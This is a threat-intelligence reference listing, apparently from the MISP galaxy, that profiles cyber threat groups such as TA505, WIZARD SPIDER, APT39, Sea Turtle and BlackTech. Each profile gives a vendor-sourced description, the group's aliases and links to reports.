The McAfee Advanced Threat Research team and McAfee Labs Malware Operations Group have discovered a new global campaign targeting nuclear, defense, energy, and financial companies, based on McAfee® Global Threat Intelligence. This campaign, Operation Sharpshooter, leverages an in-memory implant to download and retrieve a second-stage implant—which we call Rising Sun—for further exploitation. According to our analysis, the Rising Sun implant uses source code from the Lazarus Group’s 2015 backdoor Trojan Duuzer in a new framework to infiltrate these key industries. Operation Sharpshooter’s numerous technical links to the Lazarus Group seem too obvious to immediately draw the conclusion that they are responsible for the attacks, and instead indicate a potential for false flags. Our research focuses on how this actor operates, the global impact, and how to detect the attack. We shall leave attribution to the broader security community.

The tag is: *misp-galaxy:threat-actor="Operation Sharpshooter"*

View relationships graph

Operation Sharpshooter has relationships with:

- similar: misp-galaxy:threat-actor="Lazarus Group" with estimative-language:likelihood-probability="likely"

Table 6927. Table References

Links
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/operation-sharpshooter-targets-global-defense-critical-infrastructure/
https://www.bleepingcomputer.com/news/security/op-sharpshooter-connected-to-north-koreas-lazarus-group/

TA505

TA505, the name given by Proofpoint, has been in the cybercrime business for at least four years. This is the group behind the infamous Dridex banking trojan and Locky ransomware, delivered through malicious email campaigns via Necurs botnet. Other malware associated with TA505 include Philadelphia and GlobeImposter ransomware families.

The tag is: *misp-galaxy:threat-actor="TA505"*

TA505 is also known as:

- SectorJ04 Group
- GRACEFUL SPIDER
- GOLD TAHOE
- Dudear
- G0092
- ATK103

Table 6928. Table References

Links
https://www.bleepingcomputer.com/news/security/ta505-group-adopts-new-servhelper-backdoor-and-flawedgrace-rat/
https://www.proofpoint.com/sites/default/files/ta505_timeline_final4_0.png

https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter
https://www.cybereason.com/blog/threat-actor-ta505-targets-financial-enterprises-using-lolbins-and-a-new-backdoor-malware
https://e.cyberint.com/hubfs/Report%20Legit%20Remote%20Access%20Tools%20Turn%20Into%20Threat%20Actors%20Tools/CyberInt_Legit%20Remote%20Access%20Tools%20Turn%20Into%20Threat%20Actors'%20Tools_Report.pdf
https://threatpost.com/ta505-servhelper-malware/140792/
https://blog.yoroi.company/research/the-stealthy-email-stealer-in-the-ta505-arsenal/
https://threatrecon.nshc.net/2019/08/29/sectorj04-groups-increased-activity-in-2019/
https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader
https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/research/servhelper-evolution-and-new-ta505-campaigns/
https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-s-box-of-chocolate-597672
https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-returns-with-a-new-bag-of-tricks-602104
https://www.secureworks.com/research/threat-profiles/gold-tahoe
https://www.telekom.com/en/blog/group/article/eager-beaver-a-short-overview-of-the-restless-threat-actor-ta505-609546
https://blog.fox-it.com/2020/11/16/ta505-a-brief-history-of-their-time/
https://www.secureworks.com/blog/how-cyber-adversaries-are-adapting-to-exploit-the-global-pandemic
https://cyberthreat.thalesgroup.com/attackers/ATK103

GRIM SPIDER

GRIM SPIDER is a sophisticated eCrime group that has been operating the Ryuk ransomware since August 2018, targeting large organizations for a high-ransom return. This methodology, known as “big game hunting,” signals a shift in operations for WIZARD SPIDER, a criminal enterprise of which GRIM SPIDER appears to be a cell. The WIZARD SPIDER threat group, known as the Russia-based operator of the TrickBot banking malware, had focused primarily on wire fraud in the past. Similar to Samas and BitPaymer, Ryuk is specifically used to target enterprise environments. Code comparison between versions of Ryuk and Hermes ransomware indicates that Ryuk was derived from the Hermes source code and has been under steady development since its release. Hermes is commodity ransomware that has been observed for sale on forums and used by multiple threat actors. However, Ryuk is only used by GRIM SPIDER and, unlike Hermes, Ryuk has only been used to target enterprise environments. Since Ryuk’s appearance in August, the threat actors operating it have netted over 705.80 BTC across 52 transactions for a total current value of $3,701,893.98 USD. Grim Spider is reportedly associated with Lunar Spider and Wizard Spider.

The tag is: *misp-galaxy:threat-actor="GRIM SPIDER"*

GRIM SPIDER is also known as:

- GOLD ULRICK

Table 6929. Table References

Links
https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/
https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html

WIZARD SPIDER

Wizard Spider is reportedly associated with Grim Spider and Lunar Spider. The WIZARD SPIDER threat group is the Russia-based operator of the TrickBot banking malware. This group represents a growing criminal enterprise of which GRIM SPIDER appears to be a subset. The LUNAR SPIDER threat group is the Eastern European-based operator and developer of the commodity banking malware called BokBot (aka IcedID), which was first observed in April 2017. The BokBot malware provides LUNAR SPIDER affiliates with a variety of capabilities to enable credential theft and wire fraud, through the use of webinjects and a malware distribution function. GRIM SPIDER is a sophisticated eCrime group that has been operating the Ryuk ransomware since August 2018, targeting large organizations for a high-ransom return. This methodology, known as “big game hunting,” signals a shift in operations for WIZARD SPIDER, a criminal enterprise of which GRIM SPIDER appears to be a cell. The WIZARD SPIDER threat group, known as the Russia-based operator of the TrickBot banking malware, had focused primarily on wire fraud in the past.

The tag is: *misp-galaxy:threat-actor="WIZARD SPIDER"*

WIZARD SPIDER is also known as:

- TEMP.MixMaster
- GOLD BLACKBURN
- FIN12

Table 6930. Table References

Links
https://labs.sentinelone.com/top-tier-russian-organized-cybercrime-group-unveils-fileless-stealthy-powertrick-backdoor-for-high-value-targets/
https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/
https://www.crowdstrike.com/blog/sin-ful-spiders-wizard-spider-and-lunar-spider-sharing-the-same-web/
https://www.crowdstrike.com/blog/wizard-spider-lunar-spider-shared-proxy-module/
https://www.crowdstrike.com/blog/wizard-spider-adds-new-feature-to-ryuk-ransomware/

https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware
https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html
https://www.secureworks.com/research/threat-profiles/gold-ulrick
https://www.secureworks.com/research/dyre-banking-trojan
https://www.secureworks.com/blog/how-cyber-adversaries-are-adapting-to-exploit-the-global-pandemic
https://www.secureworks.com/blog/trickbot-modifications-target-us-mobile-users
http://www.secureworks.com/research/threat-profiles/gold-blackburn

MUMMY SPIDER

MUMMY SPIDER is a criminal entity linked to the core development of the malware most commonly known as Emotet or Geodo. First observed in mid-2014, this malware shared code with the Bugat (aka Feodo) banking Trojan. However, MUMMY SPIDER swiftly developed the malware's capabilities to include an RSA key exchange for command and control (C2) communication and a modular architecture. MUMMY SPIDER does not follow typical criminal behavioral patterns. In particular, MUMMY SPIDER usually conducts attacks for a few months before ceasing operations for a period of between three and 12 months, before returning with a new variant or version. After a 10 month hiatus, MUMMY SPIDER returned Emotet to operation in December 2016 but the latest variant is not deploying a banking Trojan module with web injects, it is currently acting as a 'loader' delivering other malware packages. The primary modules perform reconnaissance on victim machines, drop freeware tools for credential collection from web browsers and mail clients and a spam plugin for self-propagation. The malware is also issuing commands to download and execute other malware families such as the banking Trojans Dridex and Qakbot. MUMMY SPIDER advertised Emotet on underground forums until 2015, at which time it became private. Therefore, it is highly likely that Emotet is operate

The tag is: *misp-galaxy:threat-actor="MUMMY SPIDER"*

MUMMY SPIDER is also known as:

- TA542
- GOLD CRESTWOOD

Table 6931. Table References

Links
https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/
https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-february-mummy-spider/

https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta542-banker-malware-distribution-service
https://www.proofpoint.com/us/blog/threat-insight/comprehensive-look-emotets-summer-2020-return
https://www.secureworks.com/research/threat-profiles/gold-crestwood

STARDUST CHOLLIMA

Open-source reporting has claimed that the Hermes ransomware was developed by the North Korean group STARDUST CHOLLIMA (activities of which have been public reported as part of the “Lazarus Group”), because Hermes was executed on a host during the SWIFT compromise of FEIB in October 2017.

The tag is: *misp-galaxy:threat-actor="STARDUST CHOLLIMA"*

Table 6932. Table References

Links
https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/

Cold River

In short, “Cold River” is a sophisticated threat (actor) that utilizes DNS subdomain hijacking, certificate spoofing, and covert tunneled command and control traffic in combination with complex and convincing lure documents and custom implants.

The tag is: *misp-galaxy:threat-actor="Cold River"*

Cold River is also known as:

- Nahr Elbard
- Nahr el bared

Table 6933. Table References

Links
https://www.lastline.com/labsblog/threat-actor-cold-river-network-traffic-analysis-and-a-deep-dive-on-agent-drable/

Silence group

a relatively new threat actor that’s been operating since mid-2016 Group-IB has exposed the attacks committed by Silence cybercriminal group. While the gang had previously targeted Russian banks, Group-IB experts also have discovered evidence of the group’s activity in more than 25 countries worldwide. Group-IB has published its first detailed report on tactics and tools employed by Silence. Group-IB security analysts' hypothesis is that at least one of the gang members appears to be a former or current employee of a cyber security company. The confirmed damage from Silence activity is estimated at 800 000 USD. Silence is a group of Russian-speaking hackers, based on their commands language, the location of infrastructure they used, and the geography of their targets (Russia, Ukraine, Belarus, Azerbaijan, Poland, and Kazakhstan). Although phishing emails were also sent to bank employees in Central and Western Europe, Africa, and Asia). Furthermore, Silence used Russian words typed on an English keyboard layout for the commands of the employed backdoor. The hackers also used Russian-language web hosting services.

The tag is: *misp-galaxy:threat-actor="Silence group"*

Silence group is also known as:

- Silence
- WHISPER SPIDER

Table 6934. Table References

Links
https://reaqta.com/2019/01/silence-group-targeting-russian-banks/
https://www.group-ib.com/blog/silence
https://securelist.com/the-silence/83009/

APT39

APT39 was created to bring together previous activities and methods used by this actor, and its activities largely align with a group publicly referred to as "Chafer." However, there are differences in what has been publicly reported due to the variances in how organizations track activity. APT39 primarily leverages the SEAWEED and CACHEMONEY backdoors along with a specific variant of the POWBAT backdoor. While APT39's targeting scope is global, its activities are concentrated in the Middle East. APT39 has prioritized the telecommunications sector, with additional targeting of the travel industry and IT firms that support it and the high-tech industry.

The tag is: *misp-galaxy:threat-actor="APT39"*

APT39 is also known as:

- Chafer
- REMIX KITTEN
- COBALT HICKMAN
- G0087
- Radio Serpens

Table 6935. Table References

Links
https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html

https://www.symantec.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions
https://unit42.paloaltonetworks.com/new-python-based-payload-mechaflounder-used-by-chafer/
https://securelist.com/chafer-used-remexi-malware/89538/
https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets
https://attack.mitre.org/groups/G0087/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://www.secureworks.com/research/threat-profiles/cobalt-hickman
https://unit42.paloaltonetworks.com/atoms/radioserpens/

Siesta

FireEye recently looked deeper into the activity discussed in TrendMicro's blog and dubbed the "Siesta" campaign. The tools, modus operandi, and infrastructure used in the campaign present two possibilities: either the Chinese cyber-espionage unit APT1 is perpetrating this activity, or another group is using the same tactics and tools as the legacy APT1. The Siesta campaign reinforces the fact that analysts and network defenders should remain on the lookout for known, public indicators and for shared attributes that allow security experts to detect multiple actors with one signature.

The tag is: *misp-galaxy:threat-actor="Siesta"*

Table 6936. Table References

Links
https://www.fireeye.com/blog/threat-research/2014/03/a-detailed-examination-of-the-siesta-campaign.html

Gallmaker

Symantec researchers have uncovered a previously unknown attack group that is targeting government and military targets, including several overseas embassies of an Eastern European country, and military and defense targets in the Middle East. This group eschews custom malware and uses living off the land (LotL) tactics and publicly available hack tools to carry out activities that bear all the hallmarks of a cyber espionage campaign. The group, which we have given the name Gallmaker, has been operating since at least December 2017, with its most recent activity observed in June 2018.

The tag is: *misp-galaxy:threat-actor="Gallmaker"*

Table 6937. Table References

Links
https://www.symantec.com/blogs/threat-intelligence/gallmaker-attack-group

BOSS SPIDER

Throughout 2018, CrowdStrike Intelligence tracked BOSS SPIDER as it regularly updated Samas ransomware and received payments to known Bitcoin (BTC) addresses. This consistent pace of activity came to an abrupt halt at the end of November 2018 when the U.S. DoJ released an indictment for Iran-based individuals Faramarz Shahi Savandi and Mohammad Mehdi Shah Mansouri, alleged members of the group.

The tag is: *misp-galaxy:threat-actor="BOSS SPIDER"*

BOSS SPIDER is also known as:

- GOLD LOWELL

Table 6938. Table References

Links
https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/
https://www.secureworks.com/research/threat-profiles/gold-lowell
https://www.secureworks.com/blog/samsam-converting-opportunity-into-profit
https://www.secureworks.com/blog/samas-ransomware
https://www.secureworks.com/blog/ransomware-deployed-by-adversary
https://www.secureworks.com/research/samsam-ransomware-campaigns

PINCHY SPIDER

First observed in January 2018, GandCrab ransomware quickly began to proliferate and receive regular updates from its developer, PINCHY SPIDER, which over the course of the year established a RaaS operation with a dedicated set of affiliates. CrowdStrike Intelligence has recently observed PINCHY SPIDER affiliates deploying GandCrab ransomware in enterprise environments, using lateral movement techniques and tooling commonly associated with nation-state adversary groups and penetration testing teams. This change in tactics makes PINCHY SPIDER and its affiliates the latest eCrime adversaries to join the growing trend of targeted, low-volume/high-return ransomware deployments known as “big game hunting.” PINCHY SPIDER is the criminal group behind the development of the ransomware most commonly known as GandCrab, which has been active since January 2018. PINCHY SPIDER sells access to use GandCrab ransomware under a partnership program with a limited number of accounts. The program is operated with a 60-40 split in profits (60 percent to the customer), as is common among eCrime actors, but PINCHY SPIDER is also willing to negotiate up to a 70-30 split for “sophisticated” customers.

The tag is: *misp-galaxy:threat-actor="PINCHY SPIDER"*

Table 6939. Table References

Links
https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/

https://www.crowdstrike.com/blog/pinchy-spider-adopts-big-game-hunting/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf

GURU SPIDER

Early in 2018, CrowdStrike Intelligence observed GURU SPIDER supporting the distribution of multiple crimeware families through its flagship malware loader, Quant Loader.

The tag is: *misp-galaxy:threat-actor="GURU SPIDER"*

Table 6940. Table References

Links
https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/

SALTY SPIDER

Beginning in January 2018 and persisting through the first half of the year, CrowdStrike Intelligence observed SALTY SPIDER, developer and operator of the long-running Sality botnet, distribute malware designed to target cryptocurrency users.

The tag is: *misp-galaxy:threat-actor="SALTY SPIDER"*

Table 6941. Table References

Links
https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf

NOMAD PANDA

In the first quarter of 2018, CrowdStrike Intelligence identified NOMAD PANDA activity targeting Central Asian nations with exploit documents built with the 8.t tool.

The tag is: *misp-galaxy:threat-actor="NOMAD PANDA"*

Table 6942. Table References

Links
https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/

Flash Kitten

This suspected Iran-based adversary conducted long-running SWC campaigns from December 2016 until public disclosure in July 2018. Like other Iran-based actors, the target scope for FLASH KITTEN appears to be focused on the MENA region.

The tag is: *misp-galaxy:threat-actor="Flash Kitten"*

Table 6943. Table References

Links
https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/

SKELETON SPIDER

According to CrowdStrike, this actor is using FrameworkPOS, potentially buying access through Dridex infections.

The tag is: *misp-galaxy:threat-actor="SKELETON SPIDER"*

Table 6944. Table References

Links
https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/

TINY SPIDER

According to CrowdStrike, this actor is using TinyLoader and TinyPOS, potentially buying access through Dridex infections.

The tag is: *misp-galaxy:threat-actor="TINY SPIDER"*

Table 6945. Table References

Links
https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/

LUNAR SPIDER

According to CrowdStrike, this actor is using BokBok/IcedID, potentially buying distribution through Emotet infections. On March 17, 2019, CrowdStrike Intelligence observed the use of a new BokBot (developed and operated by LUNAR SPIDER) proxy module in conjunction with TrickBot (developed and operated by WIZARD SPIDER), which may provide WIZARD SPIDER with additional tools to steal sensitive information and conduct fraudulent wire transfers. This activity also provides further evidence to support the existence of a flourishing relationship between these two actors. Lunar Spider is reportedly associated withGrim Spider and Wizard Spider.

The tag is: *misp-galaxy:threat-actor="LUNAR SPIDER"*

LUNAR SPIDER is also known as:

- GOLD SWATHMORE

Table 6946. Table References

Links
https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/
https://www.crowdstrike.com/blog/wizard-spider-lunar-spider-shared-proxy-module/
https://www.crowdstrike.com/blog/sin-ful-spiders-wizard-spider-and-lunar-spider-sharing-the-same-web/
https://www.secureworks.com/research/threat-profiles/gold-swathmore

RATPAK SPIDER

In July 2018, the source code of Pegasus, RATPAK SPIDER's malware framework, was anonymously leaked. This malware has been linked to the targeting of Russia's financial sector. Associated malware, Buhtrap, which has been leaked previously, was observed this year in connection with SWC campaigns that also targeted Russian users.

The tag is: *misp-galaxy:threat-actor="RATPAK SPIDER"*

Table 6947. Table References

Links
https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/

Operation Kabar Cobra

The tag is: *misp-galaxy:threat-actor="Operation Kabar Cobra"*

Table 6948. Table References

Links
http://download.ahnlab.com/kr/site/library/%5bAnalysis_Report%5dOperation_Kabar_Cobra.pdf
https://www.ahnlab.com/kr/site/securityinfo/secunews/secuNewsView.do?menu_dist=2&curPage=1&seq=28102

APT-C-36

Since April 2018, an APT group (Blind Eagle, APT-C-36) suspected coming from South America carried out continuous targeted attacks against Colombian government institutions as well as important corporations in financial sector, petroleum industry, professional manufacturing, etc.

The tag is: *misp-galaxy:threat-actor="APT-C-36"*

APT-C-36 is also known as:

- Blind Eagle

Table 6949. Table References

Links
https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/

IRIDIUM

Resecurity's research indicates that the attack on Parliament is a part of a multi-year cyberespionage campaign orchestrated by a nation-state actor whom we are calling IRIDIUM. This actor targets sensitive government, diplomatic, and military resources in the countries comprising the Five Eyes intelligence alliance (which includes Australia, Canada, New Zealand, the United Kingdom and the United States)

The tag is: *misp-galaxy:threat-actor="IRIDIUM"*

Table 6950. Table References

Links
https://www.nbcnews.com/politics/national-security/iranian-backed-hackers-stole-data-major-u-s-government-contractor-n980986
https://threatpost.com/ranian-apt-6tb-data-citrix/142688/
https://hub.packtpub.com/resecurity-reports-iriduim-behind-citrix-data-breach-200-government-agencies-oil-and-gas-companies-and-technology-companies-also-targeted/

SandCat

SandCat, on the other hand, is a group that was discovered more recently by Kaspersky. One of the Windows vulnerabilities patched by Microsoft in December had been exploited by both FruityArmor and SandCat in attacks targeting the Middle East and Africa. SandCat has been using FinFisher/FinSpy spyware and CHAINSHOT, a piece of malware analyzed earlier this year by Palo Alto Networks. The group has also used the CVE-2018-8589 and CVE-2018-8611 Windows vulnerabilities in its attacks, both of which had a zero-day status when Microsoft released fixes.

The tag is: *misp-galaxy:threat-actor="SandCat"*

Table 6951. Table References

Links
https://securelist.com/zero-day-in-windows-kernel-transaction-manager-cve-2018-8611/89253/

Operation Comando

Operation Comando is a pure cybercrime campaign, possibly with Brazilian origin, with a concrete and persistent focus on the hospitality sector, which proves how a threat actor can be successful in pursuing its objectives while maintaining a cheap budget. The use of DDNS services, publicly available remote access tools, and having a minimum knowledge on software development (in this case VB.NET) has been enough for running a campaign lasting month, and potentially gathering credit card information and other possible data.

The tag is: *misp-galaxy:threat-actor="Operation Comando"*

Table 6952. Table References

Links
https://unit42.paloaltonetworks.com/operation-comando-or-how-to-run-a-cheap-and-effective-credit-card-business/

APT-C-27

A threat actor which is ac tive since at least November 2014. This group launched long-term at tacks against organizations in the Syrian region using Android and Windows malwares. Its objective is the theft of sensitive information.

The tag is: *misp-galaxy:threat-actor="APT-C-27"*

APT-C-27 is also known as:

- GoldMouse
- Golden RAT
- ATK80

Table 6953. Table References

Links
https://ti.360.net/blog/articles/apt-c-27-(goldmouse):-suspected-target-attack-against-the-middle-east-with-winrar-exploit-en/
https://ti.360.net/blog/articles/analysis-of-apt-c-27/
https://www.pbwcz.cz/Reporty/20180723_CSE_APT27_Syria_v1.pdf

Operation ShadowHammer

Newly discovered supply chain attack that leveraged ASUS Live Update software. The goal of the attack was to surgically target an unknown pool of users, which were identified by their network adapters' MAC addresses. To achieve this, the attackers had hardcoded a list of MAC addresses in the trojanized samples and this list was used to identify the actual intended targets of this massive operation. We were able to extract more than 600 unique MAC addresses from over 200 samples used in this attack. Of course, there might be other samples out there with different MAC addresses in their list.

The tag is: *misp-galaxy:threat-actor="Operation ShadowHammer"*

Table 6954. Table References

Links

https://securelist.com/operation-shadowhammer/89992/

Whitefly

In July 2018, an attack on Singapore's largest public health organization, SingHealth, resulted in a reported 1.5 million patient records being stolen. Until now, nothing was known about who was responsible for this attack. Symantec researchers have discovered that this attack group, which we call Whitefly, has been operating since at least 2017, has targeted organizations based mostly in Singapore across a wide variety of sectors, and is primarily interested in stealing large amounts of sensitive information.

The tag is: *misp-galaxy:threat-actor="Whitefly"*

Table 6955. Table References

Links
https://www.symantec.com/blogs/threat-intelligence/whitefly-espionage-singapore
https://www.reuters.com/article/us-singapore-cyberattack/cyberattack-on-singapore-health-database-steals-details-of-1-5-million-including-pm-idUSKBN1KA14J

Sea Turtle

This blog post discusses the technical details of a state-sponsored attack manipulating DNS systems. While this incident is limited to targeting primarily national security organizations in the Middle East and North Africa, and we do not want to overstate the consequences of this specific campaign, we are concerned that the success of this operation will lead to actors more broadly attacking the global DNS system. DNS is a foundational technology supporting the Internet. Manipulating that system has the potential to undermine the trust users have on the internet. That trust and the stability of the DNS system as a whole drives the global economy. Responsible nations should avoid targeting this system, work together to establish an accepted global norm that this system and the organizations that control it are off-limits, and cooperate in pursuing those actors who act irresponsibly by targeting this system.

The tag is: *misp-galaxy:threat-actor="Sea Turtle"*

Table 6956. Table References

Links
https://blog.talosintelligence.com/2019/04/seaturtle.html

Silent Librarian

Last Friday, Deputy Attorney General Rod Rosenstein announced the indictment of nine Iranians who worked for an organization named the Mabna Institute. According to prosecutors, the defendants stole more than 31 terabytes of data from universities, companies, and government agencies around the world. The cost to the universities alone reportedly amounted to approximately $3.4 billion. The information stolen from these universities was used by the Islamic

Revolutionary Guard Corps (IRGC) or sold for profit inside Iran. PhishLabs has been tracking this same threat group since late-2017, designating them Silent Librarian. Since discovery, we have been working with the FBI, ISAC partners, and other international law enforcement agencies to help understand and mitigate these attacks.

The tag is: *misp-galaxy:threat-actor="Silent Librarian"*

Silent Librarian is also known as:

- COBALT DICKENS
- Mabna Institute
- TA407

Table 6957. Table References

Links
https://info.phishlabs.com/blog/silent-librarian-more-to-the-story-of-the-iranian-mabna-institute-indictment
https://info.phishlabs.com/blog/silent-librarian-university-attacks-continue-unabated-in-days-following-indictment
https://www.justice.gov/usao-sdny/pr/nine-iranians-charged-conducting-massive-cyber-theft-campaign-behalf-islamic
https://www.justice.gov/opa/pr/nine-iranians-charged-conducting-massive-cyber-theft-campaign-behalf-islamic-revolutionary
https://www.secureworks.com/blog/cobalt-dickens-goes-back-to-school-again
https://www.secureworks.com/blog/back-to-school-cobalt-dickens-targets-universities
https://www.proofpoint.com/us/threat-insight/post/seems-phishy-back-school-lures-target-university-students-and-staff
https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian
https://www.secureworks.com/research/threat-profiles/cobalt-dickens
https://community.riskiq.com/article/44eb0802

APT31

FireEye characterizes APT31 as an actor specialized on intellectual property theft, focusing on data and projects that make a particular organization competetive in its field. Based on available data (April 2016), FireEye assesses that APT31 conducts network operations at the behest of the Chinese Government. Also according to Crowdstrike, this adversary is suspected of continuing to target upstream providers (e.g., law firms and managed service providers) to support additional intrusions against high-profile assets. In 2018, CrowdStrike observed this adversary using spear-phishing, URL “web bugs” and scheduled tasks to automate credential harvesting.

The tag is: *misp-galaxy:threat-actor="APT31"*

APT31 is also known as:

- ZIRCONIUM
- JUDGMENT PANDA
- BRONZE VINEWOOD
- Red keres

Table 6958. Table References

Links
https://www.microsoft.com/security/blog/2017/03/27/detecting-and-mitigating-elevation-of-privilege-exploit-for-cve-2017-0005/
https://duo.com/decipher/apt-groups-moving-down-the-supply-chain
https://go.recordedfuture.com/hubfs/reports/cta-2019-0206.pdf
https://redalert.nshc.net/2019/12/03/threat-actor-targeting-hong-kong-activists
https://twitter.com/bkMSFT/status/1201876664667582466
https://www.secureworks.com/research/bronz-vinewood-uses-hanaloader-to-target-government-supply-chain
https://www.secureworks.com/research/bronze-vinewood-targets-supply-chains
https://www.secureworks.com/research/threat-profiles/bronze-vinewood
https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://research.checkpoint.com/2021/the-story-of-jian
https://supo.fi/-/suojelupoliisi-tunnisti-eduskuntaan-kohdistuneen-kybervakoiluoperaation-apt31-ksi
https://poliisi.fi/-/eduskunnan-tietojarjestelmiin-kohdistuneen-tietomurron-tutkinnassa-selvitetaan-yhteytta-apt31-toimijaan
https://pst.no/alle-artikler/pressemeldinger/etterforskningen-av-datanettverksoperasjonen-mot-fylkesmannsembetene-er-avsluttet
https://www.nrk.no/norge/pst_-har-etterretning-om-at-kinesisk-gruppe-stod-bak-dataangrep-mot-statsforvaltere-1.15540601
https://www.ncsc.gov.uk/news/uk-allies-hold-chinese-state-responsible-for-pervasive-pattern-of-hacking
https://www.gov.uk/government/news/uk-and-allies-hold-chinese-state-responsible-for-a-pervasive-pattern-of-hacking
https://www.foreignminister.gov.au/minister/marise-payne/media-release/australia-joins-international-partners-attribution-malicious-cyber-activity-china
https://www.consilium.europa.eu/en/press/press-releases/2021/07/19/declaration-by-the-high-representative-on-behalf-of-the-eu-urging-china-to-take-action-against-malicious-cyber-activities-undertaken-from-its-territory/
https://www.cert.ssi.gouv.fr/ioc/CERTFR-2021-IOC-003

https://twitter.com/bkMSFT/status/1417823714922610689
https://www.mandiant.com/resources/insights/apt-groups
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RWMFIi
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf

Blackgear

BLACKGEAR is an espionage campaign which has targeted users in Taiwan for many years. Multiple papers and talks have been released covering this campaign, which used the ELIRKS backdoor when it was first discovered in 2012. It is known for using blogs and microblogging services to hide the location of its actual command-and-control (C&C) servers. This allows an attacker to change the C&C server used quickly by changing the information in these posts. Like most campaigns, BLACKGEAR has evolved over time. Our research indicates that it has started targeting Japanese users. Two things led us to this conclusion: first, the fake documents that are used as part of its infection routines are now in Japanese. Secondly, it is now using blogging sites and microblogging services based in Japan for its C&C activity.

The tag is: *misp-galaxy:threat-actor="Blackgear"*

Blackgear is also known as:

- Topgear
- Comnie
- BLACKGEAR

Table 6959. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/blackgear-espionage-campaign-evolves-adds-japan-target-list/
https://blog.trendmicro.com/trendlabs-security-intelligence/blackgear-cyberespionage-campaign-resurfaces-abuses-social-media-for-cc-communication/

BlackOasis

BlackOasis is a Middle Eastern threat group that is believed to be a customer of Gamma Group. The group has shown interest in prominent figures in the United Nations, as well as opposition bloggers, activists, regional news correspondents, and think tanks. A group known by Microsoft as NEODYMIUM is reportedly associated closely with BlackOasis operations, but evidence that the group names are aliases has not been identified.

The tag is: *misp-galaxy:threat-actor="BlackOasis"*

BlackOasis is also known as:

- G0063

Table 6960. Table References

Links
https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/
https://www.fireeye.com/blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html
https://attack.mitre.org/groups/G0063/

BlackTech

BlackTech is a cyber espionage group operating against targets in East Asia, particularly Taiwan, and occasionally, Japan and Hong Kong. Based on the mutexes and domain names of some of their C&C servers, BlackTech's campaigns are likely designed to steal their target's technology. Following their activities and evolving tactics and techniques helped us uncover the proverbial red string of fate that connected three seemingly disparate campaigns: PLEAD, Shrouded Crossbow, and of late, Waterbear. PLEAD is an information theft campaign with a penchant for confidential documents. Active since 2012, it has so far targeted Taiwanese government agencies and private organizations. PLEAD's toolset includes the self-named PLEAD backdoor and the DRIGO exfiltration tool. PLEAD uses spear-phishing emails to deliver and install their backdoor, either as an attachment or through links to cloud storage services. Some of the cloud storage accounts used to deliver PLEAD are also used as drop off points for exfiltrated documents stolen by DRIGO. PLEAD actors use a router scanner tool to scan for vulnerable routers, after which the attackers will enable the router's VPN feature then register a machine as virtual server. This virtual server will be used either as a C&C server or an HTTP server that delivers PLEAD malware to their targets.

The tag is: *misp-galaxy:threat-actor="BlackTech"*

BlackTech is also known as:

- CIRCUIT PANDA
- Temp.Overboard
- HUAPI
- Palmerworm
- G0098
- T-APT-03
- Manga Taurus
- Red Djinn

Table 6961. Table References

Links

https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/
https://www.welivesecurity.com/2018/07/09/certificates-stolen-taiwanese-tech-companies-plead-malware-campaign/
https://www.welivesecurity.com/2019/05/14/plead-malware-mitm-asus-webstorage/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
